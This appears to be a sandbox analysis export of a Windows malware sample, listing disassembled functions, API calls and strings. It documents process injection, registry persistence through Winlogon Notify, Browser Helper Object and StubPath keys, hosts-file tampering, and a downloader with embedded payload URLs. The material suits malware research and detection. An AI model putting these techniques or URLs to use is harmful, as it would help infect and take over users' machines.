ConnPred, xrefs: 00405598, 00405681
RECOVER32.DLL, xrefs: 00404F84, 00405093, 004050E8
I, xrefs: 00405624
tombul.gif, xrefs: 0040576C
T, xrefs: 00405631
kernel32.dll, xrefs: 00405133
explorer.exe, xrefs: 00405046
tmp, xrefs: 00404E66, 00404EBF
StubPath, xrefs: 0040584E
;, xrefs: 004057CB
UseDflProfile, xrefs: 00405723, 00405785
CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32, xrefs: 00405A33
Startup, xrefs: 00405A16, 00405A1F
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 004059D3
winrnt.exe, xrefs: 0040523B
%CommonProgramFiles%\System\, xrefs: 00405185
Both, xrefs: 00405A63
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 0040555E, 0040594C, 00405972, 00405AE0
ThreadingModel, xrefs: 00405A6C
winlogon.exe, xrefs: 00405035
rmass.exe, xrefs: 0040522A, 0040590A
DLLName, xrefs: 00405A03
g00d d0gg, xrefs: 00405B0D, 00405B33, 00405B43
SubshellState, xrefs: 00405996
UseExtProfile, xrefs: 004056A0, 00405700

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: Value$File$Create$Close$Attributes$Openlstrlen$lstrcat$EnvironmentExpandQueryStringsSystemTemp$DeleteErrorHandleLastTime$DirectoryNamePathSleepWrite$AdjustEnumExitPrivilegeShutdownThreadWindowswsprintf
String ID: %AppData%\$%CommonProgramFiles%\System\$;$Both$CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32$ConnPred$DLLName$Debugger$I$IsInstalled$RECOVER32.DLL$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}$Startup$StubPath$SubshellState$T$ThreadingModel$UseDflProfile$UseExtProfile$explorer.exe$g00d d0gg$grazie.gif$http://69.50.173.166/gdnOT2424.exe$http://utbidet-ugeas.biz/d/cc$kernel32.dll$rmass.exe$tmp$tombul.gif$winlogon.exe$winrnt.exe
API String ID: 2085457855-611321799
Opcode ID: 6a56a1f84e21357b3e1dfb1a03b2dd7abbfbcfcffba65fe616808317cae6bf34
Instruction ID: 41f886236b28d1aed86435c154ebda09d654ad7254263b2cf0511e051d2d0f58
Opcode Fuzzy Hash: 6a56a1f84e21357b3e1dfb1a03b2dd7abbfbcfcffba65fe616808317cae6bf34
Instruction Fuzzy Hash: 7662A570284740BAE630A6618C47F9B7698EF40748F20493FF789B91D2D6BCA8558F5F

Uniqueness

Uniqueness Score: -1.00%

Function 004033B4 Relevance: 12.1, APIs: 8, Instructions: 95stringmemorynativeCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 004033C2
OpenProcess.KERNEL32(0000002A,00000000,?,?), ref: 004033DC
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000001,?), ref: 00403439
CreateRemoteThread.KERNEL32(00000000,00000000,00001000,0040D264,?,00000000,00000000), ref: 0040345A
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?), ref: 00403463
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?), ref: 0040346D
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?), ref: 00403487
lstrcpy.KERNEL32(00000000,00000000), ref: 00403491

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: CloseHandleVirtual$AllocCreateMemoryOpenProcessRemoteThreadWritelstrcpylstrlen
String ID:
API String ID: 3056278807-0
Opcode ID: f7df62d7032949f26b76729f697fa0a2910bff9ff9a22cf5d2d0ec2ceb6e6262
Instruction ID: 286f24523f87d21ee6fdf0659b15e3162c9be1f6ec2acb51ddafdd64c094c1a7
Opcode Fuzzy Hash: f7df62d7032949f26b76729f697fa0a2910bff9ff9a22cf5d2d0ec2ceb6e6262
Instruction Fuzzy Hash: D031B131204300BFE3119FA5DD49F577BADEB88745F00853AF644BA1E1D7B9D9008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00402056 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123networkfileCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,?,?), ref: 0040207A
select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 004020BD
recv.WS2_32(?,?,?,00000000), ref: 004020CD

Strings

(, xrefs: 00402091

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: FileInternetReadrecvselect
String ID: (
API String ID: 1361185869-3887548279
Opcode ID: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction ID: 1fcd0d6409183d73132ea75ca463baecc2b767e2b6e15ce2ca548764a2397c31
Opcode Fuzzy Hash: 3d77d82d1655aebeeabdbb4d2fd8dfdafae5ce5f0b7e07bd059bd9e5e1115a32
Instruction Fuzzy Hash: BA41D5701087519BD3258F25C94872BBBE4EF85320F14C62FF699AA2C1C3B99D45CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0040233A Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 243
filestringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 00402377
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004023FF
lstrcpy.KERNEL32(?,?), ref: 00402423
lstrcat.KERNEL32(00000000,?), ref: 00402429
lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 0040243F
WriteFile.KERNEL32(00000000,?,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040248E

Part of subcall function 00402056: InternetReadFile.WININET(?,?,?,?), ref: 0040207A

CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024B8
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024CB
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 00402511
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 00402529
WriteFile.KERNEL32(00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040254A
CloseHandle.KERNEL32(00000000,00000000,00409C60,00000600,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402550
GetStartupInfoA.KERNEL32(00000000), ref: 0040255A
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002), ref: 0040259C
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025AD
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000), ref: 004025BF
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?,40000000,00000000,00000000), ref: 004025D6
lstrcpy.KERNEL32(00000004,?), ref: 004025F2
lstrcpy.KERNEL32(00000108,?), ref: 0040260B
CreateThread.KERNEL32(00000000,00010000,00402301,00000000,00000000), ref: 0040262B
CloseHandle.KERNEL32(00000000,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0040C160,00000000,?), ref: 00402631

Strings

tmp, xrefs: 00402439, 004024EC
urlinj_creat_f, xrefs: 0040252E
urlinj_conn, xrefs: 004023E7
urlinj_fork, xrefs: 004025C4
urlinj_xfer, xrefs: 004024D0
urlinj_creat, xrefs: 00402475

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: File$Internetlstrcpy$CloseCreateDeleteHandle$OptionTemp$NameWritelstrcat$InfoOpenPathProcessReadStartupThreadclosesockethtonslstrlensocket
String ID: tmp$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer
API String ID: 910217646-3391900140
Opcode ID: 62029115107c3f00cd36c7d39f05ff0bd3ad90ad91c69d923de598d8e79355a3
Instruction ID: 80098ff5335807751e7b060e98490b1c26acefe31690528cc0e00fc22b84f569
Opcode Fuzzy Hash: 62029115107c3f00cd36c7d39f05ff0bd3ad90ad91c69d923de598d8e79355a3
Instruction Fuzzy Hash: 7F71E9712047447AE731A6758E4EFEB329C8F80704F50483BB644FA2C2EAFCD945866E

Uniqueness

Uniqueness Score: -1.00%

Function 00404A32 Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 187
registryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,?), ref: 00404A47
CreateMutexA.KERNEL32(00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A67
WaitForSingleObject.KERNEL32 ref: 00404A7D
CloseHandle.KERNEL32(?), ref: 00404A89
Sleep.KERNEL32(000007D0,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404A95
SetFileAttributesA.KERNEL32(?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0040B041,00407AA0,?,00000104), ref: 00404AA7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0040B041), ref: 00404ABF
WriteFile.KERNEL32(00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?), ref: 00404AF1
lstrlen.KERNEL32(?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?), ref: 00404B3F
lstrcpy.KERNEL32(?,?), ref: 00404B74
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000), ref: 00404BA4
SetFileTime.KERNEL32(?,?,?,?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?), ref: 00404BD6
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000), ref: 00404BE2
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 00404BFE
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,80000000,00000001), ref: 00404C34
lstrlen.KERNEL32(?,?,IsInstalled,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,80000000), ref: 00404C3A
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004), ref: 00404C52
RegCloseKey.ADVAPI32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?), ref: 00404C66
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 00404C78
RegDeleteValueA.ADVAPI32(00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404C9E
RegCloseKey.ADVAPI32(?,00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 00404CAA

Strings

StubPath, xrefs: 00404C46
IsInstalled, xrefs: 00404C28
SubshellState, xrefs: 00404C98

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: File$Close$CreateValue$DeleteHandleWritelstrlen$AttributesMutexObjectSingleSleepTimeWaitlstrcatlstrcpy
String ID: IsInstalled$StubPath$SubshellState
API String ID: 3947514751-3704612417
Opcode ID: dd6dfac02f5c47a33a4c5ad421e95bd484a8349bc4fb91159b95644081777e03
Instruction ID: c8a634da1535483b825a37ec2b421a65764b4f873024b3e428f19c9569ae3a71
Opcode Fuzzy Hash: dd6dfac02f5c47a33a4c5ad421e95bd484a8349bc4fb91159b95644081777e03
Instruction Fuzzy Hash: A961D870548385ADD731EB318C45FDB77A89F81308F50493FF6C9BA0C2D678A5458B6A

Uniqueness

Uniqueness Score: -1.00%

Function 00401C3E Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 203
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?), ref: 00401C6A
lstrlen.KERNEL32(00000000), ref: 00401C70
htons.WS2_32(00000050), ref: 00401CD1
inet_addr.WS2_32(?), ref: 00401CEC
gethostbyname.WS2_32(?), ref: 00401CFB
socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
closesocket.WS2_32(00000000), ref: 00401D4F
wsprintfA.USER32 ref: 00401D9A
send.WS2_32(00000000,?,00000000,00000000), ref: 00401DB0
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00401DE1
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84280300,00000000), ref: 00401EBB
InternetCloseHandle.WININET(00000000), ref: 00401EF6

Strings

0, xrefs: 00401DD3
P, xrefs: 00401D79
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00401E60
HTTP/1.0 200, xrefs: 00401DCD
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D93, 00401D98
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401D8C

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$P
API String ID: 326340279-3185374940
Opcode ID: d5d9488f4a3736e397f9bc4bbd2b35fe010b1a24ad9b5ccc7d3ec46f1d835a9b
Instruction ID: 0b531a99b3d5abf5cb650746cb0befc7b08862aa7035e578805121d5229d263d
Opcode Fuzzy Hash: d5d9488f4a3736e397f9bc4bbd2b35fe010b1a24ad9b5ccc7d3ec46f1d835a9b
Instruction Fuzzy Hash: 1C71E3B0640215AFE7209B64CC85B5F76A8AF05358F1041BAF705FF2E2D77899448FAE

Uniqueness

Uniqueness Score: -1.00%

Function 00401A88 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 127
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 00401C1D
RegCloseKey.ADVAPI32(00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401C2E

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401ABC
_Classes, xrefs: 00401AEE
Connections, xrefs: 00401B7D
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00401B0E
ProxyEnable, xrefs: 00401B41

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: CloseCreateEnum
String ID: Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 2702359829-1466506419
Opcode ID: 1e8c4d87f55a00c80febd234072b8a1871f45a4775496f31bcea52af021c7db2
Instruction ID: b3c6845c7cc7358e21721668acba52ac81ea92210d0409fa8cf9a8fc2de8423e
Opcode Fuzzy Hash: 1e8c4d87f55a00c80febd234072b8a1871f45a4775496f31bcea52af021c7db2
Instruction Fuzzy Hash: 9141C47118834579F721EA618C41FAB76ACEF84788F00083FB685B50D1EBBCD914D66A

Uniqueness

Uniqueness Score: -1.00%

Function 00402646 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 139
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,004029BD), ref: 004026A9
gethostbyname.WS2_32(?), ref: 004026BC
htons.WS2_32(00000050), ref: 004026D1
socket.WS2_32(00000002,00000001,00000006), ref: 004026F3
closesocket.WS2_32(00000000), ref: 0040270F

Part of subcall function 00401A88: RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401E58), ref: 00401AC6

InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00402749
InternetSetOptionA.WININET(00000000,00000002,?,00000004), ref: 0040276A
InternetSetOptionA.WININET(00000000,00000006,?,00000004), ref: 00402776
InternetSetOptionA.WININET(00000000,00000005,?,00000004), ref: 00402782
wsprintfA.USER32 ref: 00402797
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 004027A9
InternetCloseHandle.WININET(00000000), ref: 004027C9
InternetCloseHandle.WININET(00000000), ref: 004027D0
InternetCloseHandle.WININET(00000000), ref: 004027DB

Strings

http://%s/, xrefs: 0040278D
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402744

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: Internet$CloseHandleOption$Openwsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID: Mozilla/4.0 (compatible; MSIE 6.0; Win32)$http://%s/
API String ID: 2574392083-3144419281
Opcode ID: 9faa8d774b1f212f3c90e0e38fe6c0b2b4e8aa0d315264c1d067af6f48b27047
Instruction ID: 632abfffad1eae66bbef2cffefd365432c92c77627e78cd6349fa7629361752e
Opcode Fuzzy Hash: 9faa8d774b1f212f3c90e0e38fe6c0b2b4e8aa0d315264c1d067af6f48b27047
Instruction Fuzzy Hash: E441A270240300EFE310AB659D8AB1B72A6EF48744F14853AF641FB2D2D7B89845CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004014F6 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 188
filetimestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 00401505
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040151D
GetFileTime.KERNEL32(00000000,0040C2B0,00000000,0040C2C0,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040154F
GetFileSize.KERNEL32(00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040155A
ReadFile.KERNEL32(C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401586
lstrlen.KERNEL32(0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 00401631
CharLowerA.USER32(00000000,?,0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 0040165E
SetFilePointer.KERNEL32(00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 004016C2
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 004016D9
WriteFile.KERNEL32(C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000), ref: 004016F6
SetEndOfFile.KERNEL32(00000080,C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000), ref: 004016FF
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401721
SetFileTime.KERNEL32(00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 00401736
CloseHandle.KERNEL32(00000080,00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000), ref: 0040173F

Strings

127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/, xrefs: 004016D0, 00401718

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2081748652.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081794696.000000000040F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2081824835.0000000000410000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_p4C7Gm10K3.jbxd

Similarity

API ID: File$Write$Time$AttributesCharCloseCreateHandleLowerPointerReadSizelstrlen
String ID: 127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/
API String ID: 2270073009-2182234249
Opcode ID: d950569a91308c09b8070e53100bda7c382b9e224005525b51e2c1591573ed04
Instruction ID: ed07d2a39fb80e6dc9f9b9060e9089f4a8c87d352c27c362815906d0368f32f6
Opcode Fuzzy Hash: d950569a91308c09b8070e53100bda7c382b9e224005525b51e2c1591573ed04
Instruction Fuzzy Hash: 59619B70608340AFD711DF25CC89B2BBBE5AB84308F54893FF095BA1E1D279D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00403AB1 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(?,InternetOpenA), ref: 00403B11
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 00403B21
GetProcAddress.KERNEL32(?,InternetReadFile), ref: 00403B31
GetProcAddress.KERNEL32(?,InternetSetOptionA), ref: 00403B41
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 00403B51

Strings

InternetOpenA, xrefs: 00403AB1, 00403B0B
InternetReadFile, xrefs: 00403AD5, 00403B26
InternetCloseHandle, xrefs: 00403AF9, 00403B46
winrnt.exe, xrefs: 00403B67
InternetOpenUrlA, xrefs: 00403AC3, 00403B16
InternetSetOptionA, xrefs: 00403AE7, 00403B36

Memory Dump Source

Source File: 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

